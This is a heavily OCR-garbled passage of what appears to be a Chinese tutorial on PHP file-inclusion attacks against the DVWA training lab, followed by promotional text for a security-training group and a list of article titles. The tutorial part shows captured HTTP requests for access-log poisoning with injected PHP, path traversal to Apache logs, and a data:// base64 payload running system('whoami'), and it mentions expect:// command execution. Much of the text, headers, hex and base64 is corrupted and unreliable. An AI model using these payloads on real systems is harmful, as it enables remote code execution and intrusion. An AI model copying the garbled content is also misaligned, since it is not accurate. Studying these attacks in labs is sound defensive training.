GET /<%pho plmu\fa() 7 HITB/1. 1

Host: 172 24,252,

User-agent: )(n..xlla/a 0 (Findows HT 10.0; Win64: x64; 1v:54 0) Gecko/20100101
Firefox/54. 0

sccept: text/html, application/xhtml+ml, application/mml:a=0. 9, #/%; a=0. 8
secept-Language: zh-CN, zh; q=0. §, en-US;q=0. 5, en; q=0.3

sccept-Encoding: gzip, deflate

Cooltie: PHPSESSID=vtni5padieqvd3lrv1findfel; security=low

Comnection: close

Upgrade-Insecnre-Requests: 1

Content-Length: 33

HITF/1. 1 400 Bad Request

Date: Fri, 21 Jul 2017 06:57:16 GHT

Server: 4pache/2 4. 25 (Dsbian)
Content-Length: 307

Connection: close

Content-Type: text/html; charset=iso-8859-1

'DOCTYPE HTML PUBLIC "-//IETF//DID HINL 2. 0//EN".
<htnl><head>
<title’400 Bad Reguest</title>
<fhead><body >
“h1’Bad Request</hl:
‘p’¥our browser sent a vequest that this server could mot understand. (hx /
<oy
<hry
‘address Apache/2.4.25 (Debian) Sexver at www. lsydvwa. com Port BO(/addvess>

£t Pt

<19 s PHP AR H N B H &

Request

Raw Params | Headers | Hex

Response

Raw Headers | Hex

GET /vulunerabilities/fi/7page=../../ /../ ./ /. . /vax/log/apache®/access. log HITE/1 1
Host: 172.24. 2526

User-sgent: Mozilla/5 0 (Findows WT 10.0; ¥Winf4; x64; rv:54 0) Gecko/20100101
Firefox/34. 0

sccept: text/html, application/zhtnl+sml, applieation/zml;q=0. 9, ¥/%;q=0. 8
hccept-langusge: zh-CH, zhig=0. 8, en-US:a=0. 5, en;a=0, 3

iccept-Encoding: gzip, deflate

Cockie: PHPSESSID=viniipafieqv050rvT1flndfel; security=low

Comnection: close

Uperade-Insecure-Reauests: 1

Content-Length: 0
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TTle
“title'phpinfe () </title’meta mee;m}anrs " cont ent= "HOTHDEY, NOFOLLOT, NOARCHIVE "

reat
‘hodyiidiv class="center”:

“table>
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123 EH2KQNE 2F 401004 5EER+] 4R90ZHT 2T GHANETNph=F SQr e KHReZmspLHSCT 200 6B ThTZnsTT 551957 5/33
PyiU4293F 205 b d1FzaN3df 2Py +22£4/z0uf e 111151 +T 0HQ38QC A SES1 DETENATusCmIF 1ps/05nPriofaddive
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K20  AEEA PHP AURLM H B0

&

6.phpinfo

HEEEIEAN, R ZED phpinfo VEN, GRS —NEH PHP ARSI SCHE, M
MHAT PHP XS, X 7 NMRIBARTD, 8, , , , , AWEIGREERT T, B iR ATE 1)
i, 1HZZIRA!
7.data://

X FE R data://SRITEINZ, fHiH base64 %, Wi<?php system('whoami');?>
BEAT base6d Zw %, K 21 Frox, REAMA data// R BEAT B A PHP AXAD,
data://text/plain;base64,PD9waHAgc31zdGVtKCd3aGOhbWknKTs/Pg==, M A]$4T PHP {0HY,
Wi 22, FEEE A

BB 25T 8 by 712441 F) — W

UREL#E=: :

KICHIFHTOREERTORZORTIRTONT IR TAREEREINESHE THT FHECHEFRG 1 REDNEIR2 THEORSERIFRIE TE
SOL, Fn:
0x3C003F00 70006500 70002000 7300 7900 7300 740065006 00025002 7007 F0065006F0061 00600 TE

N&9002 FO0ZS005B003FO03EDD

Hex:
D2 3C3F FOGE TO20 73T T3P AERE0E2E2 T T r6E6FE 1 D692 T2OIR3FZE TE
Az

60 63 112 104 112 32 115 121 115 116 101 103 40 33 119 104 111 97 109 105 39 4 EAFE
MD5_32:
[4AFGAC45AICE TCEEES DAENS3E3320353

MDE_16:

|63CE FCEAESDZENSS

Basefd:

|P]J9w aHhze3]z dGVHEC d3aGohbWkrKT = /Fe= Baﬁ 4

K21 Xt PHP AR AT base64 it

Request Response
Raw Params. Headers Hex Raw Headers Hex HTML Render
GET - HITP/1 1 200 OF
fdvua/vulnerabilities/fi/page=data: /ftext/plain; basefs, PDOvaHagedl zdeTtECA3ac bR knkTs/P | | Date: Fri, 21 Jul 2017 07:31:26 GNT
g== HITP/1.1 Server: Apache/2.4.23 (Fin32) OpenSSL/L 0.2j PHP/S.4.45
Host: 127.0.0.1 Z-Powered-By: PHP/5.4.45
User-ieent: Mozilla/3. 0 (Findows NT 10.0: Winf4; =64; rv:54.0) Gecke/20100101 Expires: Tue, 23 Jun 2009 12:00:00 ¢HT
Firefou/54. 0 Cache-Control: no-cache, must-revalidate
4ccept: text/html, application/xhtml+xml, application/mml;q=0. 9, #/#; q=0. 8 Pragma: no-cache
4ccept-language: zh—CHN, zh;q=0.8, en-US;q=0.5, en;q=0.3 Content-Length: 4054
4ccept-Encoding: gzip, deflate Comnection: close
Cookie: security=low; PHPSESSID=m3a34ivusriqlpGlllTime7Gd2 Content-Trpe: text/html; charset=utf-§
Connection: close
Uperade-Tnsecure-Requests: 1 etxx\etxx
] IDOCTVPE hem] PIRLTC “—//730//DTD YHTML 1 0 Striet //EN”

K22 AT PHP RS
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expect://EE & T A EEA G, B expect:// HEEWMFT I HIESEI PTY 24t
T X IHEFE stdiow stdout Al stderr HIUFIR . B BEVMNERIARITE, N TEH expect:// &f
LA, i edE PECL LY Expect ¥ . BT HUEEJHE, SAHWEAZIET), Ao
R IERAAIT S, P A e AT B T S S

29.7 R 5BE

AL FESREN SCHEE T — AW, QSRS TR ) T R B R A, &
HE IR AR SO E R s — PR A, A SO TR, AT SR — A S [
EFZEH A LI shell I A SCHAE H S AR S EE B EMFHITE T — 2t E,
AN R AF A B 1)

BT ZIRTE R, RZ 4 r e E allow_url_fopen 1 allow_url_include & Off, iX
FERRAGERI IR 1, 53— J7 i nl DU e 22 SRR, A S TR il gmis, Bt R Easm
SO ESE, IXFEREA LSS, AR R, FHGE 2 i AN R R GE
AEE, TR P BN AT A A A S

3.4 PR TGN
3.1 &K 365 F WL EXTH

BRIXNFEER! BRRANEET]! MRREmE, ¥IWREF! 2K 365 AL
28, BRI TREEARNEIERR, BITRZENTRE, RNEHFEE, NFML%E e
TN, BATET 7T, RATHUSIE R 22K 365 B\ Rt R (BRI &SR
BISENTY (Web 1BiE K LERRBIBNT) (RKEZ BE-Web B8 K LREFIBENTE IR - (E
BB L MESHEY - (EBETLEA: BEFASERD HENER A, R
FF— AR R AR AT, TATIEM e Ak R, W 5 — NIRRT A B0 7 !

S RBAVHIFJE 8 —IRER N ACUE, IRBIWUR NGB =210, LRGP E . WH
TP HED 22 A R ST B AR T, AT AR A R AR R R B 2R L (Web
BIE. 5 BME . WIS SSERB ) o WX g AR R Z J, AT LU
& R AE R T AR SRR = MR EIR !

AT E bR: SR G S A AR L IE 2 AR !

—. WL

LAEWIEF R HHT] (22K 365 RAMTL) KELTHEPSKHKEE

2.5 (RS 5FH 50 T E&A0, TUSRES5EHRNER) » JFeEHM
W RFELI N

HATC AU E) 150 76, ARG PR A Z35, FAETE 3045 0 % 5 6% 4 B 45
(BT B LR T : IR SR —4&!

BN o/ WA 2V

1IRA AL ML A PPT

.08 KR LEMAHIRA .

3.7E 22K 365 HIAR LAk 4 ('S : 513833068) .

AZTYRITE: 2017 48 A 6 H (AKMi ) 7:30—21:30
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5.8 QQ HEALAN
6. UL HRIEIEIE 420 J5 T e AT, T 4k & BORELI AT £ BUR RS
AN SaRi S ﬁEBZJ\TWU\izE%Z* R—Yy/NE s, RAZ P TR SR,
7Y PRRIL IR, SR PPT R, B4 PPT AR &I
8GR T: QQ (365028876)
=, ZnFEH
1. BN sh A FR fE S0
2 RS A
(1) AR LELHT %A simeon
() FEREBEFHARE FEN: FEFF
(3) NP3 H AR s ) —IRBIE S ZE N simeon
(4) fHF MSF %t 5% RSB MSF HEZE R N X335 =N : myles007
(5) CSRF Wi ir SEIMF /0= N: myles007
(6) Windows 7 i Docker FMEFUILFPHE “IRiHEEHL” SLHEREAE 7 N : myles007
(7) MSF HEZESEEL “kIE2 87 MINBEIE 2% A myles007
(8) X mssaL §5 H A S iE B 5 7 Bl sk 7= A: myles007
(9) KTk of/s HAF B EMA L] 7FEN: big K
v .
(1) DDOS JFEER M, PARSESR: 4= N:  Mochazz
(2) MEILFRESIE: ok, A, Kk FZEN: IWRERE Kt
Vg, A2k S54EA]
1.5 ARG ZMEE KA RS 52 WM& T 0. “eBHUEIT228
REi i, ARARZRN RS, THEARNRIXTE YN 100 Tt (BT
B AL
2.2 55 rBENH .
3.2 5 NS 7T
4.5 AR A T H A
5. 3R B AT BA S5 IR AN AR SCHF
6.2 NPT AL EAMHIX T4 798 B — 1] JLB AP

738 M. www.secbang.com

fi. WA
1. HB\E 5 myles007 i3 A SR
(1) CFEHR AR
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&

1 myles007
[\‘ : o AL AEA . &
1/
0O AR gk
© 58 ¥ 1500
@ s
B Rfnadial
14605 2017-07-28 11:16:13
18179 2017-07-06 10:29:17
B SEITAR 18598 2017-06-23 11:53:13
24587 2017-06-12 09:58:40
[HEASE] HiMssaLssI$a 12780 2017-06-05 09:56:20

(2) XEHEHE: http://bobao.360.cn/member/contribute?uid=749283137
2. RV ERFRIFN

HR#Y HEHF {EZ&ARFE
201704 Lirx (Cent03) ¥ iptables iAol Myles
201704 FIBphpen=58 K AR ER B KRS zimeon
201704 BER “BAE " FESRW zimeon
201704 BRI HF W Hrindows REFED simeon
201704 My=ql rootMSzeneral log_filePEFHBwebzhell zimeon
201704 M B FRiE B EBEIEIE MM zimeon
201704 Acesa=E1iBEF T 50diA A AR E A R B
201704 RIRE2CHFfEM S SRR EIRS TR gimeon
201704 WINDOWS & 15 im0 INE £3E Myles
201704 fWEBE A B
201704 T B 45idi A fEERHE A B

E_H
201705 BEEE I WarnaCrypt FHE E S5 S5 A E B inE F1MEON
201706 Toamlal3. 7.0 Core com_fields#A#FsqQLiE i fRiE L. sherlock
201708 Mmysqli A Flgetshell ethll
201705 kali® EwindowsTPIZHE B
201705 BEEFHH Tetruct 2 BRASHER T 2R ethll
201706 M350L =2 BAOSEMERMIOED Myles
201705 SOL Server 2008 F{ZEIFN BIE simeon
201705 B E FSsvWE B THN B 8IERH simean
201705 AR INE—TiEshel I FIHE zimeon
201705 BiEFERE ERME DS simeon
201705 Asp.netfR iE BRSS9 zimeon
201708 Intel AMT El{FERB RIS R RE ST SR8 zimeon
201705 H0{E Awindows Odayit#hFIH, 52 8 2 P Fkali Myles
201705 Linux(Cent0s) T 2 A 7 A FHiw O BES =i Myvles

B=H
201706 F#dmssaliiO< S EHRES Ml R Myles
201706 MSFEHRZEM “F B2 E” MR Myles
201706 Windows 7 TR Docker FEI{LILERF “ FESLAN, 7 EIBIFH Mvles
201706 linuxEEB 4 /T Berunch i A 2B} zimeon
201706 Navicat for MySQLS A XNLEE 2imeon
201706 WebLogickz B3I{LRES Beetshell ethll
201706 RN RN LERE ethil
201706 lime BRI R ST 25N ScRipThOT
201706 BAHMOEEBRFHEOSRE P HAE

5 TYHA
201707 EF— R c=BZ B Pt aiE nlif = H FTiE 4
201707 ZEEFIARR .
201707 MazzDN5: BEfSDNSHETE simeon
201707 IMLiE B EREIER SRR simeon
201707 HWMRHS0LE A FIARS 2R zimeon
201707 txt WENFZBE RS A HIRENE gimeon
201707 F0{eHIE X HERE RO #£13
201707 EHEREE TN 2R
201707 Strut=? S2-048EBREEM! FHEN--RE SN AR E DT Myles
201707 MMM EHNE S e S EERARREREE ethll
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